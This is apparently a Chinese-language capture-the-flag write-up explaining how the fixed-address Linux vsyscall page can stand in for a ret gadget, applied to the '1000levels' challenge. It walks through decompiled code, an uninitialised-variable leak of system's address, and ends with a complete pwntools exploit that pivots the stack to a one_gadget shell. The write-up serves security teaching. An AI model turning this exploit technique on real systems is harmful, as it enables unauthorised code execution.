咦!? 这都有retn用的哦 嚯嚯嚯嚯嚯嚯
Vsyscall是什么?
简单来说这是早期Linux系统(Ubuntu 12.04 LTS ~ Ubuntu 16.04 LTS; glibc2.15 ~ glibc2.23; 更高的版本这个机制逐渐被vDSO取代 可以手动开启)对几个系统调用做的简化机制 在程序被载入虚拟内存时会加上一段Vsyscall
其中有gettimeofday
, time
, getcpu
3个系统调用
这几个系统调用在任何权限下都可以调用而且相比使用对应的用户态函数更快
但是Vsyscall有一个致命缺陷就是这个段在虚拟内存中的地址是固定的 即使开启了PIE这几个系统调用的地址也是固定的 分别是0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800
同时这几个简单的系统调用不需要参数 这意味着在不对寄存器值有要求的情况下Vsyscall可以当作ret
的下位替代
更详细的信息参考这篇问答
应用举例
[攻防世界] 1000levels
先检查一下 除了Canary保护全开

IDA看看逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| int menu() { puts("1. Go"); puts("2. Hint"); puts("3. Give up"); return puts("Choice:"); }
__int64 __fastcall main(int a1, char **a2, char **a3) { int num;
sub_DDC(); menu(); while ( 1 ) { while ( 1 ) { menu(); num = get_num(); if ( num != 2 ) break; hint(); } if ( num == 3 ) break; if ( num == 1 ) guess(); else puts("Wrong input"); } sub_D92(); return 0LL; }
|
只有两个功能 先看看hint:
1 2 3 4 5 6 7 8 9 10
| int hint() { char v1[264];
if ( unk_20208C ) sprintf(v1, "Hint: %p\n", &system); else strcpy(v1, "NO PWN NO FUN"); return puts(v1); }
|
如果unk_20208C
非零就会泄露system
的地址 但是交叉引用一下就会发现没有别的地方用到了这个值 正常不可能进入该分支
接下来看看真正能操作的部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| _BOOL8 __fastcall test(int a1) { __int64 v2; _QWORD buf[4]; int v4; int v5; int v6;
memset(buf, 0, sizeof(buf)); if ( !a1 ) return 1LL; if ( !test(a1 - 1) ) return 0LL; v6 = rand() % a1; v5 = rand() % a1; v4 = v5 * v6; puts("===================================================="); printf("Level %d\n", a1); printf("Question: %d * %d = ? Answer:", v6, v5); read(0, buf, 0x400uLL); v2 = strtol((const char *)buf, 0LL, 10); return v2 == v4; }
int guess() { __int64 num; int v2; int v3; __int64 v4; __int64 v5; int v6; char v7[256];
puts("How many levels?"); num = get_num(); if ( num > 0 ) v4 = num; else puts("Coward"); puts("Any more?"); v5 = v4 + get_num(); if ( v5 > 0 ) { if ( v5 <= 99 ) { v6 = v5; } else { puts("You are being a real man."); v6 = 100; } puts("Let's go!'"); v2 = time(0LL); if ( test(v6) ) { v3 = time(0LL); sprintf(v7, "Great job! You finished %d levels in %d seconds\n", v6, v3 - v2); puts(v7); } else { puts("You failed."); } exit(0); } return puts("Coward Coward Coward Coward Coward"); }
|
要我们输入要挑战的等级数然后进行算数挑战 test
中有足够的溢出量而且程序中链接了system
问题是题目开启了PIE 即使有足够的溢出量也无法调用到甚至传递参数给system
这里唯一能联想到漏洞的就是guess
中v4(qword [rbp - 0x110])
是有可能未定义的(第一次输入挑战次数小于1时) 这会导致v4
可能会泄露同一个调用深度(自创的词 想不出别的形容 call语句使深度+1 ret使深度-1)的栈帧中的某个变量
和guess
在同一个调用深度的函数会是哪个呢? 再来看看比guess
浅1层的main 不难想到不如看看hint
吧

现在再看就会觉得题目出的有点刻晴了 如果在调用guess
前调用了hint
那么这个未定义的v4
就会泄露system
的地址并且我们可以通过第二次输入挑战次数来改变这个值为任意的地址:

现在 当我们找到一个one gadget并将它与system
的偏移在第二次输入挑战次数时输入 我们就得到了一个栈上的ROPgadget 现在唯一的问题是要如何将RSP
移动到这个地址上并执行retn
这里就用到了上面介绍的Vsyscall 只要用这个当作retn
在test最后一次被调用(此时调用深度为guess的+1)时从[rbp + buf]
开始一直覆盖到guess
的栈帧直到我们的one gadget(也可以提前覆盖 test是递归调用的 调用深度会很深 需要覆盖的栈帧会比较多 溢出量不一定够用 直接从最后一次开始覆盖用到的溢出量会少一点)
这里给出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import *
elf = ELF('./100levels')
p = remote('localhost', 20000) s = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) r = lambda num=4096 :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
libc = ELF('./libc.so') system = libc.symbols['system'] one_gadget = 0x4526a bias = one_gadget - system sla(b'Choice:', b'2') sla(b'Choice:', b'1') sla(b'levels?', b'-1') sla(b'more?', str(bias).encode()) for _ in range(99): ru(b'Question: ') q = ru(b' =').decode().split(' ') print(q) ans = int(q[0]) * int(q[2]) print(ans) sla(b'Answer:', str(ans).encode())
padding = b'A' * 0x30 + b'B' * 8 Vsyscall = p64(0xffffffffff600400) payload = padding + Vsyscall * 3 sa(b'Answer:', payload)
itr()
|